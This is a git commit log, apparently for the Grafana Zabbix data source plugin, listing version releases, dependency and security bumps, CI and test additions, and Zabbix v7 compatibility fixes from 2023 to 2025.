<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xMzguNSIsInVwZGF0ZWRJblZlciI6IjQxLjEzOC41IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJhdXRvbWVyZ2Utc2VjdXJpdHktdXBkYXRlIiwic2V2ZXJpdHk6SElHSCJdfQ==-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2025-11-18 16:06:17 +01:00
ismail simsek
d4e717c757 Release v6.0.3 (#2102) 2025-10-17 09:47:21 +00:00
Zoltán Bedi
1f6ba92d96 Release 6.0.2 (#2091) 2025-09-24 15:13:11 +02:00
Zoltán Bedi
0194360f61 Release 6.0.1 (#2088) 2025-09-23 12:27:13 +02:00
Zoltán Bedi
e559459a96 Release 6.0.0 (#2084)
Co-authored-by: Kristian Bremberg <114284895+KristianGrafana@users.noreply.github.com>
2025-09-18 16:36:00 +02:00
github-actions[bot]
b13d567eee chore: bump @grafana/create-plugin configuration to 5.26.4 (#2082)
Bumps
[`@grafana/create-plugin`](https://github.com/grafana/plugin-tools/tree/main/packages/create-plugin)
configuration from 4.2.1 to 5.26.4.

**Notes for reviewer:**
This is an auto-generated PR which ran `@grafana/create-plugin update`.
Please consult the create-plugin
[CHANGELOG.md](https://github.com/grafana/plugin-tools/blob/main/packages/create-plugin/CHANGELOG.md)
to understand what may have changed.
Please review the changes thoroughly before merging.

---------

Co-authored-by: grafana-plugins-platform-bot[bot] <144369747+grafana-plugins-platform-bot[bot]@users.noreply.github.com>
Co-authored-by: Zoltán Bedi <zoltan.bedi@gmail.com>
2025-09-17 20:33:12 +02:00
Zoltán Bedi
fb6b95b92b Release 5.2.1 (#2066) 2025-08-07 16:21:59 +02:00
Zoltán Bedi
7e0070e4f6 Release: Bump version to 5.2.0 and update changelog for new features and fixes (#2054) 2025-07-10 15:37:39 +00:00
Zoltán Bedi
764a945fb0 Chore: update version to 5.1.0 and update changelog (#2026) 2025-05-12 09:01:29 +02:00
Zoltán Bedi
db7d5b3cb9 Release version 5.0.4 with a fix for TLS handshake timeout issues by … (#2000)
…disabling the post-quantum key exchange mechanism in Go.
2025-03-26 14:45:44 +00:00
Zoltán Bedi
0594cc8ab0 Update prismjs dependency to version 1.30.0 (#1999) 2025-03-21 19:08:35 +01:00
Zoltán Bedi
bc6211568f Release version 5.0.3 with security updates and bug fixes (#1995)
- Updated golang.org/x/net from v0.35.0 to v0.37.0 for security
improvements.
- Built the plugin with Go version 1.24.1.
- Fixed basic authentication issues for Zabbix versions <7.2.
- Bumped grafana-plugin-sdk-go from v0.270.0 to v0.274.0.
2025-03-19 14:35:41 +01:00
Ivana Huckova
58902e7ed9 Release 5.0.2 with error source fix for some downstream errors (#1980)
This PR fixes error source for 2 errors:
- parsing of invalid json response should be downstream error as we
expect to receive valid json from zabbix
- no host found error should be downstream. We are bumping sdk that
includes that fix
https://github.com/grafana/grafana-plugin-sdk-go/pull/1246.

As you can see - the invalid json parsing is now downstream error
<img width="1498" alt="image"
src="https://github.com/user-attachments/assets/88028dbe-0f73-47aa-8262-5729059ce12f"
/>
2025-02-27 12:30:19 +01:00
Ivana Huckova
d28a715bb1 Release 5.0.1 (#1976) 2025-02-25 10:11:33 +01:00
Zoltán Bedi
aa63bb8835 Add Changesets configuration and update development documentation (#1964)
Introduce Changesets for versioning and changelog generation, and
enhance development documentation to guide contributors on using
Changesets effectively.
2025-02-06 10:35:36 +01:00
Gareth Dawson
525217ddad Add E2E smoke test (#1962)
creates a smoke test for the zabbix data source

closes https://github.com/grafana/data-sources/issues/194
2025-02-04 18:04:07 +07:00
Ivana Huckova
25354eea40 Release version 5.0.0: plugin now requires Grafana 10.4.8+ (#1945)
Changes:

- Use 10.4.8 as minimal supported Grafana version in plugins that
previously supported v9.
- Bump version to 5.0.0 as we are changing min supported Grafana version
2025-01-29 12:30:06 +01:00
Sriram
88b732e062 github actions workflows added (#1947)
* github actions workflows added

* added playwright tests

* Apply suggestions from code review

* Update .github/workflows/push.yaml
2025-01-17 17:03:46 +00:00
yesoreyeram
1a1a6632f2 update changelog 2025-01-07 08:19:20 +00:00
Ivana Huckova
dbcc008489 Fix querying and authentication for Zabbix v7.0+ (#1931)
* Fix querying for Zabbix v7.2+

* Update check from 7.2 to 7.0

* Fix also select acknowledges key

* Remove unsused methods

* release commit 4.6.0

---------

Co-authored-by: yesoreyeram <153843+yesoreyeram@users.noreply.github.com>
2024-12-17 01:02:43 +00:00
Ivana Huckova
fa7fca74a4 Replace @grafana/experimental with @grafana/plugin-ui 2024-11-26 16:53:15 +01:00
Sriram
7c8170d242 updated deps (#1906) 2024-10-30 09:43:54 +00:00
Zoltán Bedi
a65e6d1829 Release 4.5.6 2024-10-21 13:00:17 +02:00
Zoltán Bedi
8d3c4cced3 Chore: Bump dompurify and grafana-plugin-sdk-go versions 2024-09-30 14:23:47 +02:00
Ivana Huckova
23f08fed0d Release 4.5.4 2024-09-12 16:31:50 +02:00
Ivana Huckova
6337067dba Release 4.5.3 2024-09-03 15:37:22 +02:00
dependabot[bot]
197f2a17d1 Bump webpack from 5.88.2 to 5.94.0
Bumps [webpack](https://github.com/webpack/webpack) from 5.88.2 to 5.94.0.
- [Release notes](https://github.com/webpack/webpack/releases)
- [Commits](https://github.com/webpack/webpack/compare/v5.88.2...v5.94.0)

---
updated-dependencies:
- dependency-name: webpack
  dependency-type: direct:development
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-08-30 19:55:09 +00:00
Sriram
f073a156e9 release prep (#1848) 2024-07-02 07:41:27 +01:00
Zoltán Bedi
0782a0c82d Chore: Release prep 4.5.1 2024-06-14 17:07:01 +02:00
Zoltán Bedi
aecdb4bbee Add support for v7 (#1835)
* Add support for v7

* Bump version
2024-06-10 14:53:15 +02:00
Sriram
3ebc05d242 fixes for scenes framework (#1822)
* removed scenes object from caching hash

* update backend deps
2024-04-29 11:45:10 +01:00
Gábor Farkas
4d0eaf6c4d release prep 2024-04-15 12:50:37 +02:00
Gábor Farkas
6c13390b4b wip 2024-04-15 12:49:06 +02:00
Gareth Dawson
965a990501 commit 2024-04-08 12:08:39 +01:00
Sriram
c4065fb0f3 config updates (#1800)
* cleanup

* update create plugin config and query help fix

* query types file

* Update docker-compose.yml

Co-authored-by: Zoltán Bedi <zoltan.bedi@gmail.com>

* addressed review comments

---------

Co-authored-by: Zoltán Bedi <zoltan.bedi@gmail.com>
2024-03-13 15:20:53 +00:00
Zoltán Bedi
c1682d8c25 Prepare 4.4.6 (#1798) 2024-03-07 11:35:28 +01:00
Sriramajeyam Sugumaran
36c08ea171 bumped the version and updated changelog 2023-12-20 07:15:13 +00:00
Gareth Dawson
c80b8a78bc release 2023-11-21 12:23:23 +00:00
Gareth Dawson
17abd468ff add @grafana/experimental 2023-10-25 14:42:36 +01:00
Zoltán Bedi
f85b35c38e Bump v4.4.3 (#1708) 2023-10-10 14:15:49 +02:00
Zoltán Bedi
fb0af2faa9 Bump 4.4.2 (#1705)
* Bump 4.4.2

* Update CHANGELOG
2023-10-10 09:50:56 +02:00
dependabot[bot]
626864e77c Bump postcss from 8.4.14 to 8.4.31 (#1703)
Bumps [postcss](https://github.com/postcss/postcss) from 8.4.14 to 8.4.31.
- [Release notes](https://github.com/postcss/postcss/releases)
- [Changelog](https://github.com/postcss/postcss/blob/main/CHANGELOG.md)
- [Commits](https://github.com/postcss/postcss/compare/8.4.14...8.4.31)

---
updated-dependencies:
- dependency-name: postcss
  dependency-type: direct:development
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-10-05 20:06:15 +02:00
Gábor Farkas
143f39e365 added prettier 2023-09-28 15:48:41 +02:00
Zoltán Bedi
74fd93f051 Pin jackspeak to 2.1.1
See https://github.com/storybookjs/storybook/issues/22431#issuecomment-1630086092
2023-09-24 23:20:42 +02:00